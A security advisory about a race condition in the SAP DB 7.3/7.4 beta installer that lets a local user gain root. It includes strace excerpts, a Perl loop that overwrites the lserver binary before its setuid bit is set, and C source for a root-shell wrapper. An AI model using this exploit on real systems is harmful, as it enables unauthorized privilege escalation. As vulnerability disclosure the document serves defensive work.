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| SAP DB is a Free Enterprise database. An exploitable race condition exists during installation that can be won to yield root to a local malicious user. An executable is world writeable before a setuid bit is set by the installation program. |
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Credit:
The information has been provided by Larry W. Cashdollar.
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Vulnerable systems:
* SAP DB version 7.3.0.29
* SAP DB version 7.4.3.7 beta
Installation of the SAP database is done by the binary SDBINST. This first decompresses the files, changes permissions and then runs a file integrity check. Once this check is completed setuid bits are added to two files. A large gap between this check and the setuid operation exists (a few seconds at i least). This gives us ample time to change the contents of the pre-setuid file.
For the production 7.3.0.29 version:
Before the setuid root bit is set, a log file is written to that a normal non-privileged user can read. This file was located in /tmp/sapdb-server-linux-32bit-i386-7_3_0_29/y/config/install/. We simply watch that file for what is written to it just before the call to chmod and copy our malicious code over the target binary.
Below is a partial analysis of SDBINST.
chmod("/usr/sapdb/depend/pgm/lserver", 0100777) = 0
.
.
.
open("/tmp/sapdb-server-linux-32bit-i386-7_3_0_29/y/config/install/LIST7aad69a8$O_WRONLY|O_CREAT|O_TRUNC, 0666) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=0, ...}) = 0
fcntl64(0x3, 0x2, 0x1, 0x401a6ce0) = 0
fstat64(3, {st_mode=S_IFREG|0644, st_size=0, ...}) = 0
old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40024000
write(3, "\"lib/libsqlca.a\" f1d67919f97aa15"..., 4096) = 4096
write(3, "/PRECOM.ins\" 6e00ace2afd80ec50a1"..., 4096) = 4096
.
.
chmod("/usr/sapdb/depend/pgm/lserver", 04775) = 0
For the Beta 7.4.3.7 version:
All of the files are checked for data integrity before the setuid bit is set, the installation no longer writes to a log file during this operation. It appears that just before the setuid bit is set a directory is created /opt/sapdb/depend/wrk. It proved more difficult to win the race using this directory creation as an indicator to copy our file over. Larry was able to win the race with a timed copy after the last file had been written from the archive and just before the integrity check had finished.
Below is an analysis of the installation program SDBRUN.
chmod("/opt/sapdb/depend/pgm/lserver", 0777) = 0
.
.
20224 stat64("/opt/sapdb/depend/wrk", 0x8150c20) = -1 ENOENT (No such file or directory)
20224 stat64("/opt/sapdb/depend", {st_mode=S_IFDIR|0775, st_size=4096, ...}) = 020224 mkdir("/opt/sapdb/depend/wrk", 0775) = 0
20224 chmod("/opt/sapdb/depend/wrk", 0775) = 0
20224 stat64("/opt/sapdb/depend/wrk", {st_mode=S_IFDIR|0775, st_size=4096, ...}) = 0
20224 chown32(0x872b640, 0x5456, 0x5456) = 0
20224 chown32(0x88c3f88, 0, 0x5456) = 0
20224 chmod("/opt/sapdb/depend/pgm/dbmsrv", 04775) = 0
20224 chown32(0x88c4870, 0, 0x5456) = 0
20224 chmod("/opt/sapdb/depend/pgm/lserver", 04775) = 0
Analysis:
Local attackers can exploit this vulnerability to gain root access on a targeted system. The attacker would have needed previous knowledge of the system administrators SAP installation. To exploit the 7.4 beta version of this software an attacker would need to have a good idea of the target systems hardware type and speed.
Exploit:
#!/bin/perl
while (1) {
$test =`grep -sh PRECOM.ins /tmp/sapdb-server-linux-32bit-i386-7_3_0_29/y/config/install/LIST*`;
if ( $test =~ /PRECOM/ ) {
system("cp /home/lwc/run /usr/sapdb/depend/pgm/lserver");
exit(1);
}
}
The code we would rather have in place is:
---- run.c -----
/*##Larry W. Cashdollar, lwc@vapid.dhs.org
*##This is just a wrapper to boost our privs from euid(0) to uid(0)
guid(0 */
#include <stdio.h>
#include <unistd.h>
int
main (void)
{
char *shell[2];
shell[0] = "sh";
shell[1] = NULL;
if (!setreuid (0, 0))
printf ("We have root, getting sgid perms and spawning shell.\n");
else
{
printf ("Ack, We lost the race.\n");
_exit (0);
}
setregid (0, 0);
execve ("/bin/sh", shell, NULL);
return(0);
}
------ run.c --------
Workaround:
Boot the system into single user mode only and ensure no other users are logged in during installation.
Vendor fix:
The vendor was never notified, and this issue was fixed in the latest release.
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